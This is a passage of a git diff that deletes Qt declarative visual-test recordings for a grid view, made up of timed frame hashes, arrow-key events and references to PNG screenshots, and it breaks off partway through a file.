"b6ee51bfa4d4ab7a83cca5c18453f0b8" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 6720 - image: "gridview.6.png" - } - Frame { - msec: 6736 - hash: "ccd58be20d47422121d6ef799b927a7a" - } - Frame { - msec: 6752 - hash: "e090c7f39649786a1796870e25bd0f0d" - } - Frame { - msec: 6768 - hash: "acf3dcd9f4a869169dbc1ae7fe60e9d0" - } - Frame { - msec: 6784 - hash: "51795e9a720845e8305d23507785e1ca" - } - Frame { - msec: 6800 - hash: "0d34a43e177e6b73e2ff9155747d0385" - } - Frame { - msec: 6816 - hash: "1876c3cdffc1af01da1aaa0ac636d0a8" - } - Frame { - msec: 6832 - hash: "3131296b6edf4190520e2cdb3f8b936e" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 6848 - hash: "ee92f0a764e5081b130e205a5c362b07" - } - Frame { - msec: 6864 - hash: "8737ea2c60aeb215228c00a7fddd1baa" - } - Frame { - msec: 6880 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 6896 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 6912 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 6928 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 6944 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 6960 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 6976 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 6992 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7008 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7024 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 7040 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7056 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7072 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7088 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7104 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7120 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7136 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7152 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 7168 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7184 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7200 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7216 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7232 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7248 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7264 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7280 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7296 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7312 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7328 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7344 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7360 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7376 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7392 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7408 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7424 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7440 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7456 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7472 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7488 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7504 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7520 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7536 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7552 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7568 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7584 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Key { - type: 6 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 7600 - hash: "ac036f1f5c5ae23ddfca3060dff83f15" - } - Frame { - msec: 7616 - hash: "eb0d1be15f63af6eaf6634b02e5f240a" - } - Frame { - msec: 7632 - hash: "2423c305bebb3449e87c78e8fb447c88" - } - Frame { - msec: 7648 - hash: "f0ede6ea85647728db80878b3e525edc" - } - Frame { - msec: 7664 - hash: "387d127b2b000dc344ee4768cf2d29b2" - } - Frame { - msec: 7680 - image: "gridview.7.png" - } - Frame { - msec: 7696 - hash: "1d0d8100e994c16d7973ad9a97b0068f" - } - Key { - type: 7 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 7712 - hash: "95fb4a6d0331ffc4773e39ec8c3e6511" - } - Frame { - msec: 7728 - hash: "34738f16150228d971972833d4bd5c8f" - } - Frame { - msec: 7744 - hash: "9b71c8dacc530f32d7c6f409928caf5c" - } - Frame { - msec: 7760 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 7776 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 7792 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 7808 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 7824 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 7840 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 7856 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 7872 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 7888 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 7904 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 7920 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 7936 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 7952 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 7968 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Key { - type: 6 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 7984 - hash: "831efd0970c5c29fbe10b3be7707f915" - } - Frame { - msec: 8000 - hash: "0587fc809c38c3bbe1fbac2960596974" - } - Frame { - msec: 8016 - hash: "d20eba806cf4730a850db4c095fa36f9" - } - Key { - type: 7 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 8032 - hash: "c1663e75ba05b341e1e970a451958ea0" - } - Frame { - msec: 8048 - hash: "ea40cc33b689d6b42fc5a69fa30178e4" - } - Frame { - msec: 8064 - hash: "a07a1c61de1813158ff743cd326ee427" - } - Frame { - msec: 8080 - hash: "6dfddaa340df8999ca77f6a6e4c6c3ce" - } - Frame { - msec: 8096 - hash: "76ca40bb169c1ddc291847d4be2d38d7" - } - Frame { - msec: 8112 - hash: "e44778541b76208981a3944a64235cac" - } - Frame { - msec: 8128 - hash: "fdf45ea650d31957cc675c3bec8bf53e" - } - Frame { - msec: 8144 - hash: "b78cdb727535ab7e567af08abf25e64c" - } - Frame { - msec: 8160 - hash: "b78cdb727535ab7e567af08abf25e64c" - } - Frame { - msec: 8176 - hash: "b78cdb727535ab7e567af08abf25e64c" - } - Frame { - msec: 8192 - hash: "b78cdb727535ab7e567af08abf25e64c" - } - Frame { - msec: 8208 - hash: "b78cdb727535ab7e567af08abf25e64c" - } - Frame { - msec: 8224 - hash: "b78cdb727535ab7e567af08abf25e64c" - } - Frame { - msec: 8240 - hash: "b78cdb727535ab7e567af08abf25e64c" - } - Key { - type: 6 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 8256 - hash: "b78cdb727535ab7e567af08abf25e64c" - } - Frame { - msec: 8272 - hash: "338481e6390f2a61e975084c16427584" - } - Frame { - msec: 8288 - hash: "8923c45c23b1f4250b7d1e483b07a4da" - } - Frame { - msec: 8304 - hash: "b21de834906d0eecea985561e2e41e4f" - } - Frame { - msec: 8320 - hash: "a8c9761cfb20631520ed890cd2648c4b" - } - Frame { - msec: 8336 - hash: "abf96a042ef12190bc48ff49732ef55a" - } - Key { - type: 7 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 8352 - hash: "5b9506dfb038cd26dfc81ecd2406ada9" - } - Frame { - msec: 8368 - hash: "be75b8d39f81b2fdaff01469bfc67d4a" - } - Frame { - msec: 8384 - hash: "488aa2977f349df82b5f6ae5e3619d35" - } - Frame { - msec: 8400 - hash: "d69f17f0ce8537511353d20b59d20de0" - } - Frame { - msec: 8416 - hash: "7647efcc0152cc3d6544106f969ace26" - } - Frame { - msec: 8432 - hash: "7647efcc0152cc3d6544106f969ace26" - } - Frame { - msec: 8448 - hash: "7647efcc0152cc3d6544106f969ace26" - } - Frame { - msec: 8464 - hash: "7647efcc0152cc3d6544106f969ace26" - } - Frame { - msec: 8480 - hash: "7647efcc0152cc3d6544106f969ace26" - } - Frame { - msec: 8496 - hash: "7647efcc0152cc3d6544106f969ace26" - } - Frame { - msec: 8512 - hash: "7647efcc0152cc3d6544106f969ace26" - } - Frame { - msec: 8528 - hash: "7647efcc0152cc3d6544106f969ace26" - } - Frame { - msec: 8544 - hash: "7647efcc0152cc3d6544106f969ace26" - } - Key { - type: 6 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 8560 - hash: "7647efcc0152cc3d6544106f969ace26" - } - Frame { - msec: 8576 - hash: "8f74d33bf95cbf37fdb4521c69373a64" - } - Frame { - msec: 8592 - hash: "e33bb4cd12790c9d9992efdd3e23bee9" - } - Frame { - msec: 8608 - hash: "36f32e34b4093091c4707f26c52896ad" - } - Frame { - msec: 8624 - hash: "5ab5e142f8dc883287c116cedbacfd55" - } - Frame { - msec: 8640 - image: "gridview.8.png" - } - Key { - type: 7 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 8656 - hash: "c74212e45a6c4b6a18caeb6a22350609" - } - Frame { - msec: 8672 - hash: "8919643a7d13677dd902941860093209" - } - Frame { - msec: 8688 - hash: "6f2ab4400fadf51b994351f0975e31fc" - } - Frame { - msec: 8704 - hash: "4798559ce6f9bd7455ed5385d0030763" - } - Frame { - msec: 8720 - hash: "72759bd1e2618c61c42bbe4de3ad3a96" - } - Frame { - msec: 8736 - hash: "72759bd1e2618c61c42bbe4de3ad3a96" - } - Frame { - msec: 8752 - hash: "72759bd1e2618c61c42bbe4de3ad3a96" - } - Frame { - msec: 8768 - hash: "72759bd1e2618c61c42bbe4de3ad3a96" - } - Frame { - msec: 8784 - hash: "72759bd1e2618c61c42bbe4de3ad3a96" - } - Frame { - msec: 8800 - hash: "72759bd1e2618c61c42bbe4de3ad3a96" - } - Frame { - msec: 8816 - hash: "72759bd1e2618c61c42bbe4de3ad3a96" - } - Frame { - msec: 8832 - hash: "72759bd1e2618c61c42bbe4de3ad3a96" - } - Frame { - msec: 8848 - hash: "72759bd1e2618c61c42bbe4de3ad3a96" - } - Frame { - msec: 8864 - hash: "72759bd1e2618c61c42bbe4de3ad3a96" - } - Key { - type: 6 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 8880 - hash: "72759bd1e2618c61c42bbe4de3ad3a96" - } - Frame { - msec: 8896 - hash: "fac81cf6f45cb47abc1fa36d23e39d34" - } - Frame { - msec: 8912 - hash: "862f4deee01183fd38b094da59048b23" - } - Frame { - msec: 8928 - hash: "2f3b147221da30d8857d25fc788b3eac" - } - Frame { - msec: 8944 - hash: "5b295b187c6cfc6aefa51e5efc2c27e3" - } - Frame { - msec: 8960 - hash: "fe3139ddc8fdbc1b0c25bd641f83e833" - } - Key { - type: 7 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 8976 - hash: "8f2a9585dc6248a403aafd0f151d6ba0" - } - Frame { - msec: 8992 - hash: "39eca8cc6bb8ea30cc452dc24f8e46dc" - } - Frame { - msec: 9008 - hash: "8dbbc6026942cb6e572f1cb7e2675713" - } - Frame { - msec: 9024 - hash: "62dfa07b96dd18c6be89822654bf09f3" - } - Frame { - msec: 9040 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9056 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9072 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9088 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9104 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9120 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9136 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9152 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9168 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9184 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9200 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9216 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9232 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9248 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9264 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Key { - type: 6 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 9280 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9296 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9312 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9328 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9344 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9360 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9376 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Key { - type: 7 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 9392 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9408 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9424 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9440 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9456 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9472 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9488 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9504 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9520 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9536 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9552 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9568 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9584 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9600 - image: "gridview.9.png" - } - Frame { - msec: 9616 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9632 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9648 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9664 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9680 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9696 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9712 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9728 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9744 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9760 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 9776 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9792 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9808 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9824 - hash: "02c632713d0dc64bff9d8e58f745df95" - } - Frame { - msec: 9840 - hash: "02c632713d0dc64bff9d8e58f745df95" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.0.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.0.png deleted file mode 100644 index 3021d58..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.1.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.1.png deleted file mode 100644 index baeb1a6..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.10.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.10.png deleted file mode 100644 index b0486e5..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.10.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.2.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.2.png deleted file mode 100644 index 2d0c731..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.3.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.3.png deleted file mode 100644 index af9ed05..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.4.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.4.png deleted file mode 100644 index 0b0945d..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.5.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.5.png deleted file mode 100644 index 618ae0c..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.6.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.6.png deleted file mode 100644 index fc31262..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.7.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.7.png deleted file mode 100644 index 22291ac..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.8.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.8.png deleted file mode 100644 index 3021d58..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.9.png b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.9.png deleted file mode 100644 index 2f2f5b9..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.9.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.qml b/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.qml deleted file mode 100644 index fb5f1fb..0000000 --- a/tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.qml +++ /dev/null @@ -1,2479 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "dba2f6f1c773bd4cd9523108fca861c4" - } - Frame { - msec: 32 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 48 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 64 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 80 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 96 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 112 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 128 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 144 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 160 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 176 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 192 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 208 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 224 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 240 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 256 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 272 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 288 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 304 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 320 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 336 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 352 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 368 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 384 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 400 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 416 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 432 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 448 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 464 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 480 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 496 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 512 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 528 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 544 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 560 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 576 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 592 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 608 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 624 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 640 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 656 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 672 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 688 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 704 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 720 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 736 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 752 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 768 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 784 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 800 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 816 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 832 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 848 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 864 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 880 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 896 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 912 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 928 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 944 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 960 - image: "gridview2.0.png" - } - Frame { - msec: 976 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 992 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1008 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1024 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1040 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1056 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1072 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1088 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1104 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1120 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1136 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1152 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1168 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1184 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1200 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1216 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1232 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1248 - hash: "33d81c39d16c6a326012499796e50e03" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1264 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 1280 - hash: "aaec7184a27e6700d96ffff376b8fa53" - } - Frame { - msec: 1296 - hash: "3fa3a890a4ff4a59336a9a2d478d0dde" - } - Frame { - msec: 1312 - hash: "3711c6c2f4f9aba7f2c72bd1f1d85016" - } - Frame { - msec: 1328 - hash: "23da2f9a800b805ce7b77ff08218907d" - } - Frame { - msec: 1344 - hash: "12e4bc953b06cdaad0720f87fb96a37e" - } - Frame { - msec: 1360 - hash: "46e69658bda69bab202a2790a76ba1cd" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1376 - hash: "44608e67c69b92ccbb45e119e1158fe3" - } - Frame { - msec: 1392 - hash: "97a309b47017d38294644a486a7ce68e" - } - Frame { - msec: 1408 - hash: "41f42b50b22e0496c8aca5019b24b9cb" - } - Frame { - msec: 1424 - hash: "8603ea1cb60c804563f50bc41c0180fe" - } - Frame { - msec: 1440 - hash: "e29777fa70daafe9640c6e9bb7bd63d6" - } - Frame { - msec: 1456 - hash: "2c4c360320f527e99fee799e68c2c0aa" - } - Frame { - msec: 1472 - hash: "0d30916c7e05ff8609af5894f47a89bb" - } - Frame { - msec: 1488 - hash: "0d30916c7e05ff8609af5894f47a89bb" - } - Frame { - msec: 1504 - hash: "0d30916c7e05ff8609af5894f47a89bb" - } - Frame { - msec: 1520 - hash: "0d30916c7e05ff8609af5894f47a89bb" - } - Frame { - msec: 1536 - hash: "0d30916c7e05ff8609af5894f47a89bb" - } - Frame { - msec: 1552 - hash: "0d30916c7e05ff8609af5894f47a89bb" - } - Frame { - msec: 1568 - hash: "0d30916c7e05ff8609af5894f47a89bb" - } - Frame { - msec: 1584 - hash: "0d30916c7e05ff8609af5894f47a89bb" - } - Key { - type: 6 - key: 16777237 - modifiers: 536870912 - text: "1f" - autorep: false - count: 1 - } - Frame { - msec: 1600 - hash: "0d30916c7e05ff8609af5894f47a89bb" - } - Frame { - msec: 1616 - hash: "17027b7c099b11cb5382f30dbbd1e647" - } - Frame { - msec: 1632 - hash: "0e17461a4ca843f9903b7f03e99a0b00" - } - Frame { - msec: 1648 - hash: 